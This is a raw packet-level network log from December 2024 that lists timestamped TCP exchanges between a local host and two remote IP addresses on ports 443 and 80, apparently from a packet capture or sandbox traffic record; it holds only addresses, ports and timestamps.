Dec 2, 2024 07:38:06.450664043 CET	443	49860	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.450767040 CET	49860	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.450915098 CET	49860	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.450956106 CET	443	49860	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.541594982 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:06.541687965 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:06.543885946 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:06.663866997 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:06.760162115 CET	443	49856	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.760281086 CET	443	49856	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.760351896 CET	49856	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.804707050 CET	443	49855	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.807810068 CET	443	49855	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.807878971 CET	49855	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.821224928 CET	49856	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.821266890 CET	443	49856	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.821276903 CET	49856	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.821284056 CET	443	49856	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.822468042 CET	49855	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.822475910 CET	443	49855	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.822494030 CET	49855	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.822498083 CET	443	49855	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.827130079 CET	49861	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.827167034 CET	443	49861	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.827236891 CET	49861	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.828123093 CET	49861	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.828142881 CET	443	49861	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.829281092 CET	49862	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.829293013 CET	443	49862	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:06.829346895 CET	49862	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.829451084 CET	49862	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:06.829468966 CET	443	49862	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:07.872083902 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.872226954 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.872345924 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.872468948 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.872530937 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.872606993 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.872617960 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.872668028 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.873591900 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.873603106 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.873615026 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.873642921 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.873662949 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.874507904 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.874563932 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.875001907 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.875055075 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.992172956 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.992269039 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.992410898 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.992449999 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.996387005 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.996439934 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.998133898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.998183966 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:07.998220921 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:07.998262882 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.011802912 CET	443	49857	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.012476921 CET	49857	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.012499094 CET	443	49857	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.013144016 CET	49857	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.013149023 CET	443	49857	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.064456940 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.064604998 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.064728975 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.065027952 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.068696976 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.068708897 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.068789005 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.077066898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.077918053 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.077996969 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.085462093 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.085958004 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.086057901 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.093837023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.093909979 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.094099998 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.094172001 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.102267981 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.102355003 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.103032112 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.103085995 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.110677958 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.111270905 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.111340046 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.119323969 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.119586945 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.119604111 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.119771004 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.127254963 CET	443	49858	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.127424002 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.127572060 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.127577066 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.127671957 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.128042936 CET	49858	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.128067017 CET	443	49858	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.128599882 CET	49858	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.128604889 CET	443	49858	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.135104895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.135185003 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.135266066 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.135308981 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.142920971 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.143857002 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.231348991 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.231549025 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.231662989 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.235140085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.237200975 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.256566048 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.257339001 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.257407904 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.258841038 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.258981943 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.259036064 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.263284922 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.263643980 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.263695955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.267684937 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.267879963 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.267930984 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.272190094 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.273180008 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.273246050 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.276612043 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.276973963 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.277040005 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.281063080 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.282527924 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.283267975 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.285501957 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.285564899 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.285908937 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.286518097 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.290007114 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.290247917 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.290296078 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.294473886 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.294492006 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.294538021 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.298851013 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.299089909 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.299137115 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.303316116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.304008961 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.304075956 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.305360079 CET	443	49860	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.305951118 CET	49860	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.305977106 CET	443	49860	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.306477070 CET	49860	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.306482077 CET	443	49860	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.307756901 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.307781935 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.307809114 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.307836056 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.312216043 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.312388897 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.312447071 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.317051888 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.317194939 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.317260027 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.321105003 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.321233988 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.321285009 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.325539112 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.325772047 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.325823069 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.330038071 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.330358982 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.330406904 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.334513903 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.334573984 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.334645033 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.338917971 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.339299917 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.339358091 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.343425035 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.346529961 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.423430920 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.423602104 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.423976898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.424025059 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.425614119 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.425668955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.425879955 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.425930023 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.429963112 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.430026054 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.448354959 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.448468924 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.449136019 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.449181080 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.449381113 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.449430943 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.449903011 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.449965000 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.452872992 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.452927113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.453661919 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.453711033 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.455867052 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.455935001 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.455939054 CET	443	49857	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.456276894 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.456326962 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.458945990 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.458956957 CET	443	49857	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.459000111 CET	443	49857	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.459014893 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.459032059 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.459059000 CET	49857	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.459059000 CET	49857	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.459167004 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.459172010 CET	49857	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.459172010 CET	49857	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.459184885 CET	443	49857	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.459192991 CET	443	49857	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.462449074 CET	49863	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.462461948 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.462474108 CET	443	49863	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.462528944 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.462570906 CET	49863	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.462634087 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.462680101 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.462765932 CET	49863	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.462776899 CET	443	49863	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.465749979 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.465825081 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.466409922 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.466463089 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.468991995 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.469046116 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.469265938 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.469314098 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.472206116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.472260952 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.473822117 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.473879099 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.475375891 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.475431919 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.476208925 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.476255894 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.478563070 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.478607893 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.478940964 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.478981972 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.481779099 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.481791973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.481834888 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.484961987 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.485022068 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.486402035 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.486463070 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.488502979 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.488580942 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.488775015 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.488818884 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.491378069 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.491447926 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.492117882 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.492173910 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.494576931 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.494638920 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.495033979 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.495080948 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.497802973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.497853041 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.497962952 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.498009920 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.500947952 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.501019955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.501166105 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.501216888 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.504144907 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.504199982 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.504403114 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.504456997 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.507318020 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.507384062 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.507523060 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.510524988 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.510587931 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.511368990 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.511426926 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.513717890 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.513767958 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.514117956 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.514167070 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.516927958 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.516978025 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.517251968 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.517298937 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.520123005 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.520179987 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.520283937 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.520334005 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.523292065 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.523341894 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.523807049 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.523855925 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.526508093 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.526561022 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.526561975 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.526603937 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.529668093 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.529736042 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.530601025 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.530651093 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.532845974 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.532856941 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.532888889 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.532906055 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.536066055 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.536129951 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.536155939 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.536205053 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.539274931 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.539354086 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.540220976 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.540272951 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.542435884 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.542499065 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.542536974 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.542577982 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.545619965 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.545689106 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.545768023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.545814991 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.548866034 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.548932076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.549182892 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.549223900 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.552021027 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.552082062 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.552642107 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.552690983 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.555179119 CET	80	49859	185.215.113.16	192.168.2.6
